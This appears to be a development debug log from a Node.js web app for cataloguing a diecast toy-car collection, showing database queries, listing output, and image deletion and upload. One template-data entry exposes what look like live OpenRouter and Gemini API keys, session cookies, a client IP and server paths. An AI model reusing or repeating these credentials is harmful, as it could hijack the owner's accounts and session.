  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T11:02:23.081Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T11:02:23.082Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T11:02:23.082Z server-connect:app Executing action step select
2026-02-04T11:02:23.082Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:02:23.083Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:02:23.085Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T11:02:23.085Z server-connect:app Executing action step select
2026-02-04T11:02:23.085Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:02:23.086Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T11:02:25.875Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T11:02:25.876Z server-connect:app Executing action step identify
2026-02-04T11:02:25.876Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:25.876Z server-connect:output identity: 1
2026-02-04T11:02:25.876Z server-connect:app Executing action step restrict
2026-02-04T11:02:25.876Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:25.876Z server-connect:output restrict: undefined
2026-02-04T11:02:25.876Z server-connect:app Executing action step single
2026-02-04T11:02:25.877Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T11:02:25.877Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20250923_221529_fa1e774e-a87c-4ee7-975c-3bf8b7cc36f5.jpg'
}
2026-02-04T11:02:25.877Z server-connect:app Executing action step delete
2026-02-04T11:02:25.877Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:02:25.878Z server-connect:output delete: { affected: 1 }
2026-02-04T11:02:25.878Z server-connect:app Executing action step remove
2026-02-04T11:02:25.878Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T11:02:25.878Z server-connect:output fileRemove: true
2026-02-04T11:02:26.091Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:02:26.091Z server-connect:app Executing action step identify
2026-02-04T11:02:26.091Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:26.091Z server-connect:output identity: 1
2026-02-04T11:02:26.092Z server-connect:app Executing action step restrict
2026-02-04T11:02:26.092Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:26.092Z server-connect:output restrict: undefined
2026-02-04T11:02:26.092Z server-connect:app Executing action step paged
2026-02-04T11:02:26.092Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:02:26.094Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:02:26.299Z server-connect:router Serving templateView /
2026-02-04T11:02:26.300Z server-connect:app Executing action step identify
2026-02-04T11:02:26.300Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:26.300Z server-connect:output identity: 1
2026-02-04T11:02:26.300Z server-connect:app Executing action step restrict
2026-02-04T11:02:26.300Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:02:26.300Z server-connect:output restrict: undefined
2026-02-04T11:02:26.300Z server-connect:app Executing action step restrict
2026-02-04T11:02:26.300Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:02:26.301Z server-connect:output restrict: undefined
2026-02-04T11:02:26.301Z server-connect:router Render template layouts/main
2026-02-04T11:02:26.301Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=173&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=173&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T11:02:30.177Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T11:02:30.177Z server-connect:app Executing action step identify
2026-02-04T11:02:30.177Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:30.177Z server-connect:output identity: 1
2026-02-04T11:02:30.177Z server-connect:app Executing action step restrict
2026-02-04T11:02:30.178Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:30.178Z server-connect:output restrict: undefined
2026-02-04T11:02:30.178Z server-connect:app Executing action step condition
2026-02-04T11:02:30.178Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T11:02:30.178Z server-connect:app Executing action step update
2026-02-04T11:02:30.178Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T11:02:30.179Z server-connect:output update: { affected: 1 }
2026-02-04T11:02:30.179Z server-connect:app Executing action step upload
2026-02-04T11:02:30.179Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T11:02:30.179Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T11:02:30.179Z server-connect:upload Process fields: 'images[]'
2026-02-04T11:02:30.179Z server-connect:upload Processing file: {
  name: 's-l1600 (10).webp',
  data: <Buffer >,
  size: 108898,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-62-20378841770202950176',
  truncated: false,
  mimetype: 'image/webp',
  md5: 'bbc7d45b05038ec287b234b158c7b8ca',
  mv: [Function: mv]
}
2026-02-04T11:02:30.179Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_10_16c6400a-63dc-4a7e-8bba-f8cc6a223813.webp',
  rel: 'public/assets/images/diecast/s-l1600_10_16c6400a-63dc-4a7e-8bba-f8cc6a223813.webp'
}
2026-02-04T11:02:30.179Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_10_16c6400a-63dc-4a7e-8bba-f8cc6a223813.webp',
  rel: 'assets/images/diecast/s-l1600_10_16c6400a-63dc-4a7e-8bba-f8cc6a223813.webp'
}
2026-02-04T11:02:30.179Z server-connect:output upload_image: [
  {
    name: 's-l1600_10_16c6400a-63dc-4a7e-8bba-f8cc6a223813.webp',
    path: '/public/assets/images/diecast/s-l1600_10_16c6400a-63dc-4a7e-8bba-f8cc6a223813.webp',
    url: '/assets/images/diecast/s-l1600_10_16c6400a-63dc-4a7e-8bba-f8cc6a223813.webp',
    type: 'image/webp',
    size: 108898
  }
]
2026-02-04T11:02:30.179Z server-connect:app Executing action step repeat
2026-02-04T11:02:30.179Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T11:02:30.179Z server-connect:app Executing action step insert
2026-02-04T11:02:30.180Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:02:30.180Z server-connect:output images: { affected: 1, identity: 213 }
2026-02-04T11:02:30.180Z server-connect:output repeat_images: [ {} ]
2026-02-04T11:02:30.180Z server-connect:output condition: undefined
2026-02-04T11:02:30.391Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:02:30.391Z server-connect:app Executing action step identify
